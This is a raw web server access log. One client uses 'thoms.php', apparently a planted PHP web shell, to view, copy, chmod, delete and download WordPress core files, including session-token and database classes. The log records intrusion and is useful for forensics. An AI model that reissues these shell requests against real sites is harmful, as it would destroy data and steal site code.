45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblock-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 200 13071 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /big-wife.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?del=class-snoopy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:13 -0400] "GET /thoms.php?chmod=functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fhttp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fhttp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 200 15110 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php HTTP/1.1" 200 18054 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-image-editor-gd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?del=php-ai-client&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59398 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 200 12641 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?del=sodium_compat&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-phpmailer.php HTTP/1.1" 200 13447 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-phpmailer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-site.php HTTP/1.1" 200 24205 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 200 13975 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 200 12425 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:14 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 200 17525 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-token-map.php HTTP/1.1" 200 21775 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-token-map.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?dl=class-wp-block.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-site.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fms-site.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?chmod=style-engine.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?chmod=taxonomy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /big-wife.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /big-wife.com.tw/wp-includes/plugin.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:16 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpost-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpost-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:15 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:16 -0400] "GET /thoms.php?dl=post-formats.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:16 -0400] "GET /thoms.php?dl=script-modules.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:16 -0400] "GET /thoms.php?chmod=PHPMailer&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=PHPMailer&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:16 -0400] "GET /thoms.php?del=theme-i18n.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=theme-i18n.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:16 -0400] "GET /big-wife.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:16 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?chmod=ms-default-filters.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=ms-default-filters.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:16 -0400] "GET /thoms.php?dl=media.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?dl=media.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?chmod=option.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fplugin.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fplugin.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?del=meta.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=meta.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 200 12310 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 200 12784 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fview-transitions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fview-transitions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?dl=post.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?dl=post.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?dl=rss.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59295 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:17 -0400] "GET /thoms.php?dl=theme.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=theme.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /thoms.php?chmod=ai-client&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /thoms.php?chmod=build&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=build&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /thoms.php?chmod=Text&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=Text&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /big-wife.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /thoms.php?chmod=capabilities.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 200 12170 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /thoms.php?chmod=class-wp-date-query.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11549 "http://163.245.207.76:443/thoms.php?chmod=class-wp-date-query.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /thoms.php?del=class-IXR.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 200 18993 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:18 -0400] "GET /thoms.php?del=class-requests.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fjson-schema.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fjson-schema.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 200 14507 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /big-wife.com.tw/wp-includes/formatting.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block.php HTTP/1.1" 200 21101 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-proxy.php HTTP/1.1" 200 14022 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-proxy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?del=abilities-api.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=abilities-api.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:19 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59380 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fsession.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fsession.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /thoms.php?dl=default-constants.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:20 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
